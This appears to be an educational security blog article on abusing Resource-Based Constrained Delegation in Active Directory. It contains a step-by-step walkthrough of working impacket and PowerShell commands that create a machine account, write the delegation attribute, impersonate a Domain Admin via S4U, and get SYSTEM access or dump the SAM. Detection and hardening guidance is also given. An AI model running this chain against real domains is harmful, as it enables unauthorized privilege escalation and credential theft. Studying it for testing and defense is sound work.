Resource-Based Constrained Delegation (RBCD) Abuse

Resource-Based Constrained Delegation (RBCD) Abuse - article cover image Active Directory
2026.07.12
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Resource-Based Constrained Delegation (RBCD) inverts where delegation trust is configured. In classic constrained delegation the *front-end* service is told which back-end services it may impersonate users to; in RBCD the *resource* (the back-end / target) declares which accounts are allowed to impersonate users to it. That decision lives in a single attribute on the target computer object: msDS-AllowedToActOnBehalfOfOtherIdentity. Whoever can write that attribute controls who may impersonate arbitrary users — including Domain Admins — to the target.

This makes RBCD one of the most practical privilege-escalation primitives in modern Active Directory. A frequent scenario: an attacker holds a delegated-write ACL (GenericWrite, GenericAll, WriteProperty, or WriteDACL) over a computer object — perhaps from an ACL misconfiguration, a compromised helpdesk group, or a coercion/relay chain — and converts it into full SYSTEM code execution on that machine. Unlike unconstrained delegation, RBCD is configured purely with directory writes, needs no reboot, and can be set and cleaned up quickly.

Attack Prerequisites

RBCD abuse requires a write primitive over the target and an account you control that possesses a Service Principal Name:

  • Write access to the target’s msDS-AllowedToActOnBehalfOfOtherIdentity — i.e. GenericWrite/GenericAll/WriteProperty/WriteDACL/WriteOwner on the target computer object.
  • A controlled account with an SPN — a machine account works best. If you lack one, the default MachineAccountQuota of 10 usually lets any domain user create one with addcomputer.py.
  • Knowledge of that account’s credentials — its password or, equivalently, its AES/RC4 key (needed to request S4U tickets).
  • KDC reachability (a Domain Controller, port 88) to run the S4U2Self / S4U2Proxy exchange, and a service on the target you want a ticket to (e.g. cifs, host, http).

How It Works

RBCD is enforced through the Kerberos S4U (Service-for-User) extensions. When the delegated account requests a ticket, it uses S4U2Self to obtain a service ticket to *itself* on behalf of an arbitrary user (say, Administrator), then S4U2Proxy to exchange that ticket for a service ticket to the *target* service — again in the impersonated user’s name. The KDC permits the S4U2Proxy step only if the requesting account’s SID appears in the target’s msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor. That check is the entire access-control decision.

So if you can write that attribute, you write your controlled account’s SID into it and the KDC will thereafter issue impersonation tickets from your account to the target. The impersonated user can be anyone the target does not explicitly protect — pick a Domain Admin and you get a cifs/target ticket as that admin, which is SYSTEM-level file and service-control access on the machine.

A subtle but important detail: for the S4U2Self ticket to be *forwardable* (a requirement for S4U2Proxy to succeed here), the delegated account needs an SPN, which is why a machine account is the natural choice — machine accounts have SPNs by default. Accounts flagged ‘sensitive and cannot be delegated’ or members of Protected Users cannot be impersonated this way, which is the intended guard rail.

Vulnerable Configuration: What Makes It Exploitable

The vulnerable state is an ACL on the target computer that grants your principal write over its attributes. The excerpt below shows the kind of ACE that opens the door — a non-privileged principal holding GenericWrite on a computer object:

# ACE on CN=VICTIM,OU=Servers,DC=corp,DC=local as shown by BloodHound / dsacls:
Trustee:      CORP\HelpdeskUser   (attacker-controlled)
AccessRights: GenericWrite        (also abusable: GenericAll, WriteProperty,
                                   WriteDacl, WriteOwner)
AppliesTo:    CN=VICTIM  (computer object)
# GenericWrite over the computer is sufficient to set the RBCD attribute.
TEXT

The exploit itself is simply writing the target’s msDS-AllowedToActOnBehalfOfOtherIdentity to a security descriptor that grants your machine account the right to act on behalf of others. Conceptually the attribute holds an ACL whose allowed SID is your controlled account:

# msDS-AllowedToActOnBehalfOfOtherIdentity (binary SD) decoded to SDDL:
O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1123)
                                              ^^^^^^^^^^^^^^^^^
#                          SID of the attacker-controlled machine account
# Its presence lets that account complete S4U2Proxy against VICTIM.
TEXT

Walkthrough / Exploitation

If you do not already control an account with an SPN, create a machine account using the default MachineAccountQuota:

# Create ATTACKER$ (quota permitting); note its password.
addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'Passw0rd!' \
               -dc-host dc01.corp.local corp.local/lowpriv:Password1
Bash

Now write the RBCD attribute on the victim so ATTACKER$ is trusted to delegate to it. impacket’s rbcd.py builds and sets the security descriptor for you:

# Grant ATTACKER$ delegation rights onto VICTIM$:
rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'VICTIM$' -action write \
        -dc-host dc01.corp.local corp.local/lowpriv:Password1
# -action read confirms the write; -action remove cleans up afterward.
Bash

From Windows the same write can be done with PowerShell’s Active Directory module, which handles the SD encoding via the friendly parameter:

Set-ADComputer VICTIM -PrincipalsAllowedToDelegateToAccount ATTACKER$
PowerShell

With the attribute set, run the S4U exchange to mint a service ticket to the target while impersonating a Domain Admin. getST.py -impersonate performs S4U2Self followed by S4U2Proxy and writes a ccache:

# Impersonate 'administrator' and get a cifs/ ticket to VICTIM:
getST.py -spn cifs/victim.corp.local -impersonate administrator \
         -dc-ip 10.0.0.1 'corp.local/ATTACKER$:Passw0rd!'
# Produces administrator@cifs_victim.corp.local@CORP.LOCAL.ccache
Bash

Load the ticket and use it. Any Kerberos-aware impacket tool now acts as the impersonated administrator on the target — SYSTEM-level access:

export KRB5CCNAME=administrator@cifs_victim.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass victim.corp.local
# secretsdump.py -k -no-pass victim.corp.local  # dump the local SAM instead
Bash

Note: You can request whatever SPN class the follow-on tool needs — cifs for PsExec/secretsdump, host for scheduled tasks, http for WinRM/WSMan. The service class in the S4U2Proxy ticket can also often be swapped without a new request because the KDC does not tightly bind the SPN’s service class in the resulting ticket, a quirk that widens which services a single ticket reaches.

Opsec: RBCD writes are visible: modifying msDS-AllowedToActOnBehalfOfOtherIdentity triggers directory-change auditing, and the created machine account and S4U ticket requests are logged. Always remove the attribute (rbcd.py -action remove) and, where you created one, the rogue computer account when finished, so the target is left clean.

Detection and Defense

RBCD abuse is detectable at the directory-write and Kerberos layers, and is prevented by tightening who can write computer objects and create accounts.

  • Audit writes to msDS-AllowedToActOnBehalfOfOtherIdentity — Security event 5136 (directory object modified) on that attribute is a high-fidelity signal; baseline the legitimate delegation configuration and alert on changes.
  • Set MachineAccountQuota to 0 so ordinary users cannot create machine accounts, removing the easy SPN-bearing account the attack relies on.
  • Review computer-object ACLs with BloodHound — hunt for non-admin principals holding GenericWrite/GenericAll/WriteDacl over computers.
  • Protect privileged users — add them to Protected Users and set ‘Account is sensitive and cannot be delegated’ so they cannot be impersonated via S4U.
  • Watch S4U in the logs — 4769 service-ticket requests where the account and impersonated user differ (Transited Services / the S4U2Proxy pattern) against sensitive targets warrant investigation.

Real-World Impact

Since the RBCD abuse technique was popularised (notably Elad Shamir’s 2019 ‘Wagging the Dog’ research), it has become a staple of Active Directory privilege escalation and is a first-class edge in BloodHound. It pairs naturally with NTLM relay: relaying machine-account authentication to LDAP to grant an attacker write over a computer object, then setting RBCD to gain SYSTEM on it, is a well-worn chain. Its popularity comes from being fast, reboot-free, and driven entirely by directory writes that many overly broad delegated permissions inadvertently allow.

Conclusion

RBCD hinges on a single writable attribute: control msDS-AllowedToActOnBehalfOfOtherIdentity on a computer and you control who may impersonate any user to it, which the Kerberos S4U extensions then turn into SYSTEM on that host. The defenses are correspondingly concrete — lock down computer-object write ACLs, drop MachineAccountQuota to zero, shield privileged accounts from delegation, and alert on modifications to the RBCD attribute so the write that enables the whole chain never goes unnoticed.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL